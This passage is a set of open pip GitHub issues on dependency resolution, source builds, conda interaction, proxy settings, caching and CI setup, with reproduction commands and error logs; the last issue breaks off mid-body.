project: vendored dependency: Related to a vendored dependency
C: scripts: How scripts and entry points are managed
issue_9140: state: open
title: Speculative: --only-binary by default?
body: **What's the problem this feature will solve?**
A lot of users are reporting issues when there's no Python 3.9 binary for projects they need, and pip tries to build from source and fails with an obscure error (because the user doesn't have a compiler, or isn't set up to build the relevant packages).

**Describe the solution you'd like**
Pip shouldn't try to build from source if the user isn't prepared to deal with build errors. As it's not possible to know the user's level of expertise, we should err on the side of caution, and by default only allow wheels to be installed. Users who know they need to install from source and have checked that they can do so, can explicitly say so using a new `--allow-source` flag, which acts as an "opt-in" to source builds.

**Alternative Solutions**
Improve the error messages when a source build fails. This is hard, because the details of what went wrong are entirely the responsibility of the build backend.

**Additional context**
I don't realistically think this can be added without a lot of disruption, but given that significant numbers of projects ship wheels these days, maybe it isn't as unthinkable as it once was. I do think it's worth discussing the implications, if only as a thought experiment, and I don't know where else we could do that apart from here.

One big problem area is that we can't distinguish between "pure Python" projects that are shipped only as sdists, but which only need Python to build, and complex projects that need a compiler. So restricting to wheels only would require an explicit opt-in for some projects which currently install with no issue.
user: pfmoore
labels: state: needs discussion: This needs some more discussion
state: awaiting PR: Feature discussed, PR is needed
type: deprecation: Related to deprecation / removal.
issue_9135: state: open
title: BuildEnvironment should write sitecustomize.py in UTF-8
body: See [here](https://github.com/pypa/pip/blob/master/src/pip/_internal/build_env.py#L82). Python 3 expects source code to be in UTF-8, so we should explicitly specify the encoding here.

Note that Python 2 would need an encoding token. But given that we'll be dropping Python 2 support in pip 21.0, I'm inclined to not bother.

This was originally reported to the Python bug tracker by giomach, as [issue 42293](https://bugs.python.org/issue42293).
user: pfmoore
issue_9129: state: open
title: pip breaks when pip installs and conda uninstalls the same package
body: <!--
If you're reporting an issue for `--use-feature=2020-resolver`, use the "Dependency resolver failures / errors" template instead.
-->

**Environment**

* pip version: 20.2.4
* conda version: 4.9.2 
* Python version: 3.8.6
* OS: linux

<!-- Feel free to add more information about your environment here -->

**Description**

This is a bug in pip, but it gets triggered by conda.

When installing a package explicitly it creates an empty file `REQUESTED`, which conda can't delete and everything blows up.

**Expected behavior**
<!-- A clear and concise description of what you expected to happen. -->

Since conda removes explicitly the files in its manifest unlike pip which removes the whole dir, adding new files that are not in manifest breaks things.

**How to Reproduce**
<!-- Describe the steps to reproduce this bug. -->


```
# cleanup
conda uninstall -y pynvml
pip uninstall -y pynvml
```

```
# must install/uninstall things in this exact order
conda install -y -c conda-forge pynvml
pip uninstall -y pynvml
pip install pynvml
conda uninstall -y pynvml
```

```
# check: not good:
ls -lt /mnt/nvme1/anaconda3/envs/main-38/lib/python3.8/site-packages/pynvml-8.0.4.dist-info/
total 0
-rw-rw-r-- 1 stas stas 0 Nov 12 22:03 REQUESTED
```

This file wasn't in conda-forge build, but was added by pip - conda doesn't know to remove it since it removes files explicitly only the ones it installed, but pip removes the dir.

So now the site-packages is broken and we can't use `pip` anymore:

```
pip install pynvml
Requirement already satisfied: pynvml in /mnt/nvme1/anaconda3/envs/main-38/lib/python3.8/site-packages (8.0.4)
WARNING: No metadata found in /mnt/nvme1/anaconda3/envs/main-38/lib/python3.8/site-packages
ERROR: Could not install packages due to an EnvironmentError: [Errno 2] No such file or directory: '/mnt/nvme1/anaconda3/envs/main-38/lib/python3.8/site-packages/pynvml-8.0.4.dist-info/METADATA'
```

"Requirement already satisfied" is bogus since there is just one `REQUESTED` file that wasn't cleaned up in the dist dir.

this fails too:

```
pip uninstall -y pynvml
Found existing installation: pynvml 8.0.4
ERROR: Exception:
Traceback (most recent call last):
  File "/home/stas/anaconda3/envs/main-38/lib/python3.8/site-packages/pip/_internal/cli/base_command.py", line 228, in _main
    status = self.run(options, args)
  File "/home/stas/anaconda3/envs/main-38/lib/python3.8/site-packages/pip/_internal/commands/uninstall.py", line 89, in run
    uninstall_pathset = req.uninstall(
  File "/home/stas/anaconda3/envs/main-38/lib/python3.8/site-packages/pip/_internal/req/req_install.py", line 685, in uninstall
    uninstalled_pathset = UninstallPathSet.from_dist(dist)
  File "/home/stas/anaconda3/envs/main-38/lib/python3.8/site-packages/pip/_internal/req/req_uninstall.py", line 535, in from_dist
    for path in uninstallation_paths(dist):
  File "/home/stas/anaconda3/envs/main-38/lib/python3.8/site-packages/pip/_internal/req/req_uninstall.py", line 67, in unique
    for item in fn(*args, **kw):
  File "/home/stas/anaconda3/envs/main-38/lib/python3.8/site-packages/pip/_internal/req/req_uninstall.py", line 85, in uninstallation_paths
    r = csv.reader(FakeFile(dist.get_metadata_lines('RECORD')))
  File "/home/stas/anaconda3/envs/main-38/lib/python3.8/site-packages/pip/_vendor/pkg_resources/__init__.py", line 1432, in get_metadata_lines
    return yield_lines(self.get_metadata(name))
  File "/home/stas/anaconda3/envs/main-38/lib/python3.8/site-packages/pip/_vendor/pkg_resources/__init__.py", line 1420, in get_metadata
    value = self._get(path)
  File "/home/stas/anaconda3/envs/main-38/lib/python3.8/site-packages/pip/_vendor/pkg_resources/__init__.py", line 1616, in _get
    with open(path, 'rb') as stream:
FileNotFoundError: [Errno 2] No such file or directory: '/mnt/nvme1/anaconda3/envs/main-38/lib/python3.8/site-packages/pynvml-8.0.4.dist-info/RECORD'
```

The only fix at the moment is to manually remove the dir by hand.

I have a package whose build process validates that the conda/pip installs worked correctly and so it happens to hit a similar sequence. But this can easily happen in real life, except install / uninstall commands can be called days apart...


user: stas00
issue_9121: state: open
title: Choosing a prerelease if no stable versions are available to satisfy a requirement
body: **What's the problem this feature will solve?**
This may be an issue or not - I have looked through PEP440 and haven't found anything. Basically, when installing `package>1.0a0`, I'd expect `1.0rc1` to be installed if it's the only prerelease version available. This is not the case.

**Describe the solution you'd like**

I'd like `pip` to understand that `rc` > `a`. Unless I am mistaken, we have all of these
```
2.0a0>1.0a0
1.1a0>1.0a0
1.0a1>1.0a0
```
but we do not have
```
1.0rc1>1.0a0
```

Some console output:
```
# see what's installed
> pip freeze | grep ^tensorflow=
tensorflow==2.3.1

# see what's available
> pip install tensorflow==10
ERROR: Could not find a version that satisfies the requirement tensorflow==10 (from versions: 2.2.0rc1, 2.2.0rc2, 2.2.0rc3, 2.2.0rc4, 2.2.0, 2.2.1, 2.3.0rc0, 2.3.0rc1, 2.3.0rc2, 2.3.0, 2.3.1, 2.4.0rc0, 2.4.0rc1)
ERROR: No matching distribution found for tensorflow==10

> pip install "tensorflow>2.4a0"
ERROR: Could not find a version that satisfies the requirement tensorflow>2.4a0 (from versions: 2.2.0rc1, 2.2.0rc2, 2.2.0rc3, 2.2.0rc4, 2.2.0, 2.2.1, 2.3.0rc0, 2.3.0rc1, 2.3.0rc2, 2.3.0, 2.3.1, 2.4.0rc0, 2.4.0rc1)
ERROR: No matching distribution found for tensorflow>2.4a0

> pip install "tensorflow>=2.4rc0"
Collecting tensorflow>=2.4rc0
...

> pip freeze | grep ^tensorflow=
tensorflow==2.4.0rc1
```
user: bersbersbers
labels: PEP implementation: Involves some PEP
issue_9108: state: open
title: Pip resolver can't install elasticsearch-curator due to incompatible urllib3 version pins
body: **What did you want to do?**

Install `elasticsearch-curator` package with `pip v20.3.dev1`:

`$ python -m pip install elasticsearch-curator`

**Output**

```
Collecting elasticsearch-curator
  Using cached elasticsearch-curator-5.8.1.tar.gz (225 kB)
    ERROR: Command errored out with exit status 1:
     command: /tmp/venv/bin/python -c 'import sys, setuptools, tokenize; sys.argv[0] = '"'"'/tmp/pip-install-dndpdbmp/elasticsearch-curator_7f80ee0153e84d61a6cf1c16b82db8a4/setup.py'"'"'; __file__='"'"'/tmp/pip-install-dndpdbmp/elasticsearch-curator_7f80ee0153e84d61a6cf1c16b82db8a4/setup.py'"'"';f=getattr(tokenize, '"'"'open'"'"', open)(__file__);code=f.read().replace('"'"'\r\n'"'"', '"'"'\n'"'"');f.close();exec(compile(code, __file__, '"'"'exec'"'"'))' egg_info --egg-base /tmp/pip-pip-egg-info-9npyg8qm
         cwd: /tmp/pip-install-dndpdbmp/elasticsearch-curator_7f80ee0153e84d61a6cf1c16b82db8a4/
    Complete output (135 lines):
    build/temp.linux-x86_64-3.6/check_libyaml.c:2:10: fatal error: yaml.h: No such file or directory
     #include <yaml.h>
              ^~~~~~~~
    compilation terminated.
    
    libyaml is not found or a compiler error: forcing --without-libyaml
    (if libyaml is installed correctly, you may need to
     specify the option --include-dirs or uncomment and
     modify the parameter include_dirs in setup.cfg)
    zip_safe flag not set; analyzing archive contents...
    
    Installed /tmp/pip-install-dndpdbmp/elasticsearch-curator_7f80ee0153e84d61a6cf1c16b82db8a4/.eggs/PyYAML-3.13-py3.6-linux-x86_64.egg
    Searching for click<7.0,>=6.7
    Reading https://pypi.python.org/simple/click/
    Downloading https://files.pythonhosted.org/packages/34/c1/8806f99713ddb993c5366c362b2f908f18269f8d792aff1abfd700775a77/click-6.7-py2.py3-none-any.whl#sha256=29f99fc6125fbc931b758dc053b3114e55c77a6e4c6c3a2674a2dc986016381d
    Best match: click 6.7
    Processing click-6.7-py2.py3-none-any.whl
    Installing click-6.7-py2.py3-none-any.whl to /tmp/pip-install-dndpdbmp/elasticsearch-curator_7f80ee0153e84d61a6cf1c16b82db8a4/.eggs
    
    Installed /tmp/pip-install-dndpdbmp/elasticsearch-curator_7f80ee0153e84d61a6cf1c16b82db8a4/.eggs/click-6.7-py3.6.egg
    Searching for requests_aws4auth>=0.9
    Reading https://pypi.python.org/simple/requests_aws4auth/
    Downloading https://files.pythonhosted.org/packages/4e/44/dec6791ef89cef395918f6e4268d0f30096ee798523fcf26edd53117210a/requests_aws4auth-1.0.1-py2.py3-none-any.whl#sha256=6ddc92476c0ebab6c90709966e0ff3b2f16ba1f296b7ea8573645bbbe5ef9444
    Best match: requests-aws4auth 1.0.1
    Processing requests_aws4auth-1.0.1-py2.py3-none-any.whl
    Installing requests_aws4auth-1.0.1-py2.py3-none-any.whl to /tmp/pip-install-dndpdbmp/elasticsearch-curator_7f80ee0153e84d61a6cf1c16b82db8a4/.eggs
    writing requirements to /tmp/pip-install-dndpdbmp/elasticsearch-curator_7f80ee0153e84d61a6cf1c16b82db8a4/.eggs/requests_aws4auth-1.0.1-py3.6.egg/EGG-INFO/requires.txt
    
    Installed /tmp/pip-install-dndpdbmp/elasticsearch-curator_7f80ee0153e84d61a6cf1c16b82db8a4/.eggs/requests_aws4auth-1.0.1-py3.6.egg
    Searching for boto3>=1.9.142
    Reading https://pypi.python.org/simple/boto3/
    Downloading https://files.pythonhosted.org/packages/60/06/78b1aa1768cfbab8a333db53101b69b800cd357d4dec7625de872ba5b453/boto3-1.16.12-py2.py3-none-any.whl#sha256=74c6c1757178b08cf7d43238473b8557342f007491d435b2beb312d0fe67c62f
    Best match: boto3 1.16.12
    Processing boto3-1.16.12-py2.py3-none-any.whl
    Installing boto3-1.16.12-py2.py3-none-any.whl to /tmp/pip-install-dndpdbmp/elasticsearch-curator_7f80ee0153e84d61a6cf1c16b82db8a4/.eggs
    writing requirements to /tmp/pip-install-dndpdbmp/elasticsearch-curator_7f80ee0153e84d61a6cf1c16b82db8a4/.eggs/boto3-1.16.12-py3.6.egg/EGG-INFO/requires.txt
    
    Installed /tmp/pip-install-dndpdbmp/elasticsearch-curator_7f80ee0153e84d61a6cf1c16b82db8a4/.eggs/boto3-1.16.12-py3.6.egg
    Searching for requests>=2.20.0
    Reading https://pypi.python.org/simple/requests/
    Downloading https://files.pythonhosted.org/packages/45/1e/0c169c6a5381e241ba7404532c16a21d86ab872c9bed8bdcd4c423954103/requests-2.24.0-py2.py3-none-any.whl#sha256=fe75cc94a9443b9246fc7049224f75604b113c36acb93f87b80ed42c44cbb898
    Best match: requests 2.24.0
    Processing requests-2.24.0-py2.py3-none-any.whl
    Installing requests-2.24.0-py2.py3-none-any.whl to /tmp/pip-install-dndpdbmp/elasticsearch-curator_7f80ee0153e84d61a6cf1c16b82db8a4/.eggs
    writing requirements to /tmp/pip-install-dndpdbmp/elasticsearch-curator_7f80ee0153e84d61a6cf1c16b82db8a4/.eggs/requests-2.24.0-py3.6.egg/EGG-INFO/requires.txt
    
    Installed /tmp/pip-install-dndpdbmp/elasticsearch-curator_7f80ee0153e84d61a6cf1c16b82db8a4/.eggs/requests-2.24.0-py3.6.egg
    Searching for urllib3<1.25,>=1.24.2
    Reading https://pypi.python.org/simple/urllib3/
    Downloading https://files.pythonhosted.org/packages/01/11/525b02e4acc0c747de8b6ccdab376331597c569c42ea66ab0a1dbd36eca2/urllib3-1.24.3-py2.py3-none-any.whl#sha256=a637e5fae88995b256e3409dc4d52c2e2e0ba32c42a6365fee8bbd2238de3cfb
    Best match: urllib3 1.24.3
    Processing urllib3-1.24.3-py2.py3-none-any.whl
    Installing urllib3-1.24.3-py2.py3-none-any.whl to /tmp/pip-install-dndpdbmp/elasticsearch-curator_7f80ee0153e84d61a6cf1c16b82db8a4/.eggs
    writing requirements to /tmp/pip-install-dndpdbmp/elasticsearch-curator_7f80ee0153e84d61a6cf1c16b82db8a4/.eggs/urllib3-1.24.3-py3.6.egg/EGG-INFO/requires.txt
    
    Installed /tmp/pip-install-dndpdbmp/elasticsearch-curator_7f80ee0153e84d61a6cf1c16b82db8a4/.eggs/urllib3-1.24.3-py3.6.egg
    Searching for elasticsearch<8.0.0,>=7.0.4
    Reading https://pypi.python.org/simple/elasticsearch/
    Downloading https://files.pythonhosted.org/packages/38/5c/c3efebe8065bd4f9e815751009841934b8fcd7bfba93362a54384a04fd8b/elasticsearch-7.10.0a2-py2.py3-none-any.whl#sha256=4883b42428fc073b2bb19c2c4d13ad4c951e2f1bde73c40dc2f2ae7bbd3c3526
    Best match: elasticsearch 7.10.0a2
    Processing elasticsearch-7.10.0a2-py2.py3-none-any.whl
    Installing elasticsearch-7.10.0a2-py2.py3-none-any.whl to /tmp/pip-install-dndpdbmp/elasticsearch-curator_7f80ee0153e84d61a6cf1c16b82db8a4/.eggs
    writing requirements to /tmp/pip-install-dndpdbmp/elasticsearch-curator_7f80ee0153e84d61a6cf1c16b82db8a4/.eggs/elasticsearch-7.10.0a2-py3.6.egg/EGG-INFO/requires.txt
    
    Installed /tmp/pip-install-dndpdbmp/elasticsearch-curator_7f80ee0153e84d61a6cf1c16b82db8a4/.eggs/elasticsearch-7.10.0a2-py3.6.egg
    Searching for voluptuous>=0.9.3
    Reading https://pypi.python.org/simple/voluptuous/
    Downloading https://files.pythonhosted.org/packages/d3/e9/861cec3f4da0728d9d085db9c338b598351cbacb10521c25f0857f55c6d4/voluptuous-0.12.0-py3-none-any.whl#sha256=0fff348a097c9a74f9f4a991d2cf01a6185780e997ad953bde49cb3efbb411be
    Best match: voluptuous 0.12.0
    Processing voluptuous-0.12.0-py3-none-any.whl
    Installing voluptuous-0.12.0-py3-none-any.whl to /tmp/pip-install-dndpdbmp/elasticsearch-curator_7f80ee0153e84d61a6cf1c16b82db8a4/.eggs
    
    Installed /tmp/pip-install-dndpdbmp/elasticsearch-curator_7f80ee0153e84d61a6cf1c16b82db8a4/.eggs/voluptuous-0.12.0-py3.6.egg
    Searching for s3transfer<0.4.0,>=0.3.0
    Reading https://pypi.python.org/simple/s3transfer/
    Downloading https://files.pythonhosted.org/packages/69/79/e6afb3d8b0b4e96cefbdc690f741d7dd24547ff1f94240c997a26fa908d3/s3transfer-0.3.3-py2.py3-none-any.whl#sha256=2482b4259524933a022d59da830f51bd746db62f047d6eb213f2f8855dcb8a13
    Best match: s3transfer 0.3.3
    Processing s3transfer-0.3.3-py2.py3-none-any.whl
    Installing s3transfer-0.3.3-py2.py3-none-any.whl to /tmp/pip-install-dndpdbmp/elasticsearch-curator_7f80ee0153e84d61a6cf1c16b82db8a4/.eggs
    writing requirements to /tmp/pip-install-dndpdbmp/elasticsearch-curator_7f80ee0153e84d61a6cf1c16b82db8a4/.eggs/s3transfer-0.3.3-py3.6.egg/EGG-INFO/requires.txt
    
    Installed /tmp/pip-install-dndpdbmp/elasticsearch-curator_7f80ee0153e84d61a6cf1c16b82db8a4/.eggs/s3transfer-0.3.3-py3.6.egg
    Searching for jmespath<1.0.0,>=0.7.1
    Reading https://pypi.python.org/simple/jmespath/
    Downloading https://files.pythonhosted.org/packages/07/cb/5f001272b6faeb23c1c9e0acc04d48eaaf5c862c17709d20e3469c6e0139/jmespath-0.10.0-py2.py3-none-any.whl#sha256=cdf6525904cc597730141d61b36f2e4b8ecc257c420fa2f4549bac2c2d0cb72f
    Best match: jmespath 0.10.0
    Processing jmespath-0.10.0-py2.py3-none-any.whl
    Installing jmespath-0.10.0-py2.py3-none-any.whl to /tmp/pip-install-dndpdbmp/elasticsearch-curator_7f80ee0153e84d61a6cf1c16b82db8a4/.eggs
    
    Installed /tmp/pip-install-dndpdbmp/elasticsearch-curator_7f80ee0153e84d61a6cf1c16b82db8a4/.eggs/jmespath-0.10.0-py3.6.egg
    Searching for botocore<1.20.0,>=1.19.12
    Reading https://pypi.python.org/simple/botocore/
    Downloading https://files.pythonhosted.org/packages/24/7f/9298904c3b9b6f6e49f1cda7e3c92c8b2e8639020e11091fdfa2a345b354/botocore-1.19.12-py2.py3-none-any.whl#sha256=d0a39209551381752ca5257ae9b3eef53e7fe7eb16ccb9854fb1b14bc3d43519
    Best match: botocore 1.19.12
    Processing botocore-1.19.12-py2.py3-none-any.whl
    Installing botocore-1.19.12-py2.py3-none-any.whl to /tmp/pip-install-dndpdbmp/elasticsearch-curator_7f80ee0153e84d61a6cf1c16b82db8a4/.eggs
    writing requirements to /tmp/pip-install-dndpdbmp/elasticsearch-curator_7f80ee0153e84d61a6cf1c16b82db8a4/.eggs/botocore-1.19.12-py3.6.egg/EGG-INFO/requires.txt
    
    Installed /tmp/pip-install-dndpdbmp/elasticsearch-curator_7f80ee0153e84d61a6cf1c16b82db8a4/.eggs/botocore-1.19.12-py3.6.egg
    Searching for idna<3,>=2.5
    Reading https://pypi.python.org/simple/idna/
    Downloading https://files.pythonhosted.org/packages/a2/38/928ddce2273eaa564f6f50de919327bf3a00f091b5baba8dfa9460f3a8a8/idna-2.10-py2.py3-none-any.whl#sha256=b97d804b1e9b523befed77c48dacec60e6dcb0b5391d57af6a65a312a90648c0
    Best match: idna 2.10
    Processing idna-2.10-py2.py3-none-any.whl
    Installing idna-2.10-py2.py3-none-any.whl to /tmp/pip-install-dndpdbmp/elasticsearch-curator_7f80ee0153e84d61a6cf1c16b82db8a4/.eggs
    
    Installed /tmp/pip-install-dndpdbmp/elasticsearch-curator_7f80ee0153e84d61a6cf1c16b82db8a4/.eggs/idna-2.10-py3.6.egg
    Searching for chardet<4,>=3.0.2
    Reading https://pypi.python.org/simple/chardet/
    Downloading https://files.pythonhosted.org/packages/bc/a9/01ffebfb562e4274b6487b4bb1ddec7ca55ec7510b22e4c51f14098443b8/chardet-3.0.4-py2.py3-none-any.whl#sha256=fc323ffcaeaed0e0a02bf4d117757b98aed530d9ed4531e3e15460124c106691
    Best match: chardet 3.0.4
    Processing chardet-3.0.4-py2.py3-none-any.whl
    Installing chardet-3.0.4-py2.py3-none-any.whl to /tmp/pip-install-dndpdbmp/elasticsearch-curator_7f80ee0153e84d61a6cf1c16b82db8a4/.eggs
    
    Installed /tmp/pip-install-dndpdbmp/elasticsearch-curator_7f80ee0153e84d61a6cf1c16b82db8a4/.eggs/chardet-3.0.4-py3.6.egg
    Traceback (most recent call last):
      File "/tmp/pip-install-dndpdbmp/elasticsearch-curator_7f80ee0153e84d61a6cf1c16b82db8a4/setup.py", line 39, in <module>
        from cx_Freeze import setup, Executable
    ModuleNotFoundError: No module named 'cx_Freeze'
    
    During handling of the above exception, another exception occurred:
    
    Traceback (most recent call last):
      File "<string>", line 1, in <module>
      File "/tmp/pip-install-dndpdbmp/elasticsearch-curator_7f80ee0153e84d61a6cf1c16b82db8a4/setup.py", line 177, in <module>
        tests_require = ["mock", "nose", "coverage", "nosexcover"]
      File "/tmp/venv/lib/python3.6/site-packages/setuptools/__init__.py", line 128, in setup
        _install_setup_requires(attrs)
      File "/tmp/venv/lib/python3.6/site-packages/setuptools/__init__.py", line 123, in _install_setup_requires
        dist.fetch_build_eggs(dist.setup_requires)
      File "/tmp/venv/lib/python3.6/site-packages/setuptools/dist.py", line 513, in fetch_build_eggs
        replace_conflicting=True,
      File "/tmp/venv/lib/python3.6/site-packages/pkg_resources/__init__.py", line 783, in resolve
        raise VersionConflict(dist, req).with_context(dependent_req)
    pkg_resources.ContextualVersionConflict: (urllib3 1.24.3 (/tmp/pip-install-dndpdbmp/elasticsearch-curator_7f80ee0153e84d61a6cf1c16b82db8a4/.eggs/urllib3-1.24.3-py3.6.egg), Requirement.parse('urllib3<1.26,>=1.25.4'), {'botocore'})
    ----------------------------------------
ERROR: Command errored out with exit status 1: python setup.py egg_info Check the logs for full command output.
```

The `elasticsearch-curator` package has a dependency on `boto3` and `urllib3<1.25`, `boto3` has dependency on recent `botocore`, recent `botocore` versions have a dependency on `urllib3>=1.25.9`. This situation isn't resolved by pip.

Curator issue: https://github.com/elastic/curator/issues/1560
user: sethmlarson
labels: project: setuptools: Related to setuptools
issue_9106: state: open
title: pip freeze outputs deprecated form of VCS requirement
body: **Environment**

* pip version: 20.2.4
* Python version: 3.8.6
* OS: Linux

**Description**
```
user@host:~/myproj> pip freeze | grep myproj
user@host:~/myproj> pip install -e .
Obtaining file:///home/user/myproj
  Installing build dependencies ... done
  Getting requirements to build wheel ... done
    Preparing wheel metadata ... done
Installing collected packages: myproj
  Running setup.py develop for myproj
Successfully installed myproj
user@host:~/myproj> pip freeze | grep myproj
-e git+git@git.company.com:user/myproj.git@haaaaaaaaaaaaaaaaaash#egg=myproj
user@host:~/myproj>
```

I am not sure that the `-e ...` line is intended like this at all, but it certainly uses a format that is deprecated:
https://github.com/pypa/pip/blob/9a5441c3317515003ec0c73a64e4a5936bf48852/src/pip/_internal/req/req_install.py#L639-L644
user: bersbersbers
labels: state: blocked: Can not be done until something else is done
issue_9105: state: open
title: pip ignores proxy settings except ones defined in environment variables
body: <!--
If you're reporting an issue for `--use-feature=2020-resolver`, use the "Dependency resolver failures / errors" template instead.
-->

**Environment**

* pip version: 20.1.1
* Python version: 3.7.9
* OS: Windows 10

Clean installed OS with official python binaries.

**Description**

I have a clean Windows 10 OS with installed offical `python==3.7.9` binaries. When I tried to install packages via pip, I encountered problem with proxy settings which was written in `pip.ini`, that pip seems to be ignore it. I also tried to pass config with corresponding `--proxy` option, but similarly it do not affected to pip's behavior. Only proxy settings written to `HTTP_PROXY` or `HTTPS_PROXY` evs was accepted.

**Expected behavior**

To be able download a packages from pypi if proxy settings well defined in any source which were pointed in documentation.

**How to Reproduce**
<!-- Describe the steps to reproduce this bug. -->

1. Preferibly have a clean OS install behind proxy.
2. Download python binaries installer (In my case 3.7.9)
3. Install it with "add to PATH" option checked.
4. In %APPDATA% directory make folder called pip
5. create `pip.ini` inside it and define your proxy settings as described in documentation.
6. run` pip config list` to ensure that your configs have been read succesfully.
7. run `pip install <package>` without setting `HTTP_PROXY` or `HTTPS_PROXY` environment variables.
8. try to directly pass config with `--proxy` option.

**Output**

```
WARNING: Retrying (Retry(total=4, connect=None, read=None, redirect=None, status=None)) after connection broken by 'ProxyError('Cannot connect to proxy.', OSError('Tunnel connection failed: 407 Proxy authentication required'))': /simple/numpy/
WARNING: Retrying (Retry(total=3, connect=None, read=None, redirect=None, status=None)) after connection broken by 'ProxyError('Cannot connect to proxy.', OSError('Tunnel connection failed: 407 Proxy authentication required'))': /simple/numpy/
WARNING: Retrying (Retry(total=2, connect=None, read=None, redirect=None, status=None)) after connection broken by 'ProxyError('Cannot connect to proxy.', OSError('Tunnel connection failed: 407 Proxy authentication required'))': /simple/numpy/
WARNING: Retrying (Retry(total=1, connect=None, read=None, redirect=None, status=None)) after connection broken by 'ProxyError('Cannot connect to proxy.', OSError('Tunnel connection failed: 407 Proxy authentication required'))': /simple/numpy/
WARNING: Retrying (Retry(total=0, connect=None, read=None, redirect=None, status=None)) after connection broken by 'ProxyError('Cannot connect to proxy.', OSError('Tunnel connection failed: 407 Proxy authentication required'))': /simple/numpy/
```

user: wingsoflight
labels: C: proxy: Dealing with proxies and networking
state: needs eyes: Needs a maintainer/triager to take a closer look
issue_9103: state: open
title: Prepare initial Zuul CI setup
body: This is a spin-off of #7279 where folks pre-agreed to explore the possibility of extending pip testing experience with external Zuul CI resources. Let's use this issue to coordinate this effort.

@ssbarnea offered to help with the maintenance of the CI itself.

Action items:
* [x] pip needs to enable the OpenDev Zuul app https://github.com/apps/opendev-zuul. This requires read-only permissions, and the ability to use the checks API to post results. (@pradyunsg)
* OpenDev will need to merge 
   * [x] https://review.opendev.org/761467 
   * [x] and https://review.opendev.org/761468
   so we can setup Zuul to monitor pull requests and run jobs. (@ianw)
* [ ] pip repo needs to have an initial config (essentially, https://github.com/pypa/pip/pull/9107 should be merged once it's ready)
user: webknjaz
issue_9095: state: open
title: Add flags that allow user's to override the default behaviour when upgrading packages
body: In #9094 I proposed that we change pip's default behaviour to _do nothing and show an error_ if dependency conflicts are detected when upgrading other packages.

This is based on user research recently conducted by the UX team.  This research also found that many users would like more _control_ to be able to override this default.

Some example user feedback:

> I would say that after doing nothing and explaining to the user why not, offer two options to the user, for the first two options of this list ( basically executing the command with a special flag). 

> I would prefer using a `--force` flag which would upgrade tea and water while also showing a warning about coffee.

> I think the best strategy is to ask the user explicitly which action to perform. My initial thought was “upgrade coffee automatically to 2.0.0”,  but “upgrade” command feels like absolutely safe and shouldn’t do anything even potentially dangerous. If something is going to break up, it is only the user who could be responsible for that, and he should understand it clearly. 
...
As a result, I’d like to see a flag specifying pip behaviour. Something like “—latest” to upgrade coffee as well and “—safest” to install nothing. Messages indicating what is going on (and why) are welcome. 

> I should be able to pick between 1 and 4 with a safe mode flag. It's better for new developers not to break their environment so this should be the default.

I've opened this ticket as a starting point for discussing what additional controls (e.g. flags) we could offer the user in this scenario.
user: nlhkabu
labels: UX: User experience related
UX: functionality research epic: Temporary label to link tickets to #8516
issue_9094: state: open
title: Take installed packages into account when upgrading another package
body: In #7744 we have decided to warn users when pip creates a dependency conflict when upgrading another package.

This issue is a proposal to _change_ this behavior. This proposal is supported by user research, a summary of which will shortly be published on pip's docs.

**What's the problem this feature will solve?**
Currently, when a user asks pip to upgrade a package, it does this _without_ considering what other packages are already installed. This can mean that pip can cause a dependency conflict.

This scenario (used in our user research) summarises the problem well:

```
Imagine you have package tea and coffee with the following dependencies:

tea 1.0.0 - depends on water<1.12
tea 2.0.0 - depends on water>=1.12
coffee 1.0.0 - depends on water<1.12
coffee 2.0.0 - depends on water>=1.12

You have the following packages installed:

tea 1.0.0
coffee 1.0.0
water 1.11.0

You ask pip to upgrade tea.  What should pip do?

If pip upgrades tea to 2.0.0, water needs to be upgraded as well, creating a conflict with coffee...
```

**Describe the solution you'd like**
Pip should:

- Detect whether or not a conflict may occur, based on the packages that are already installed
- If a conflict is detected, pip should not install anything, and show an error message to the user

This reflects the most popular response to our research (71.7% of respondents) who said that pip should "Install nothing. Show an error explaining that the upgrade would cause incompatibilities."

**Additional context**
Example error message (happy to iterate on this as needed!)

```
ERROR: pip cannot upgrade tea, as this would introduce a dependency conflict:
  you have water 1.11.0 installed
  you have coffee 1.0.0 installed, requires water<1.12
  tea 2.0.0 requires water>=1.12
``` 
user: nlhkabu
labels: type: feature request: Request for a new feature
UX: User experience related
UX: functionality research epic: Temporary label to link tickets to #8516
issue_9084: state: open
title: Refactor PackageFinder caching mechanism
body: I’m a bit concerned this may cause some subtle bugs someday if we do change one of the instance variables and forgot to consider the cache. Would it be better to extract the logic into a pure function (outside of the class) and cache that instead?

_Originally posted by @uranusjr in https://github.com/pypa/pip/pull/9078#issuecomment-719951403_
user: xavfernandez
labels: type: refactor: Refactoring code
issue_9082: state: open
title: --find-link urls are not cached
body: **Environment**

* pip version: 20.3b1
* Python version: 3
* OS: Linux

**Description**

Pip disables HTTP caching for index and find-links URLs, due to `Cache-Control: max-age=0` being passed to http requests.

https://github.com/pypa/pip/blob/5ee7caf92ae6135b8ae8fdad4cd2cc28d5f81b8a/src/pip/_internal/index/collector.py#L142-L155

While this is not an issue for accessing PEP 503 indexes where each project has different URL, for find-links URLs this generates a lot of useless HTTP fetches as pip repeatedly downloads identical find-links URLs for each requirement.

**Expected behavior**

Caching of --find-links URLs within a single pip session.

**How to Reproduce**

Obtain a somewhat long list of requirements and a https find-links URL (not necessarily related to the requirements).

Run `pip wheel --no-deps` and notice the find-links web server gets an identical hit for each requirement in the list.

**Possible solution**

A @lru_cache on [_get_html_page](https://github.com/pypa/pip/blob/5ee7caf92ae6135b8ae8fdad4cd2cc28d5f81b8a/src/pip/_internal/index/collector.py#L414) improves `pip wheel` execution time by 50% for a list of 50 requirements.

user: sbidoul
labels: C: finder: PackageFinder and index related code
issue_9081: state: open
title: Rethink pip's PEP-517 mechanism
body: **What's the problem this feature will solve?**

Currently, to honor PEP-517 and provide an isolated build environment, pip is [calling itself](https://github.com/pypa/pip/blob/5ee7caf92ae6135b8ae8fdad4cd2cc28d5f81b8a/src/pip/_internal/build_env.py#L175-L206).
Which means, spawning a new process (and its [complexities](https://github.com/pypa/pip/issues/8214)), passing over [a bunch of options](https://github.com/pypa/pip/blob/5ee7caf92ae6135b8ae8fdad4cd2cc28d5f81b8a/src/pip/_internal/build_env.py#L180-L202) but forgetting [some](https://github.com/pypa/pip/issues/8999) [other](https://github.com/pypa/pip/issues/8439) (and [more](https://github.com/pypa/pip/issues/7805)).
And spawning processes also means that we have to keep track of them via our [RequirementTracker](https://github.com/pypa/pip/blob/5ee7caf92ae6135b8ae8fdad4cd2cc28d5f81b8a/src/pip/_internal/req/req_tracker.py#L51-L151).

In addition to those problems, since everything happens in a new process, the in-memory cache isn't shared and every process will reparse `/simple/setuptools` index page (or some other backend/dependency).


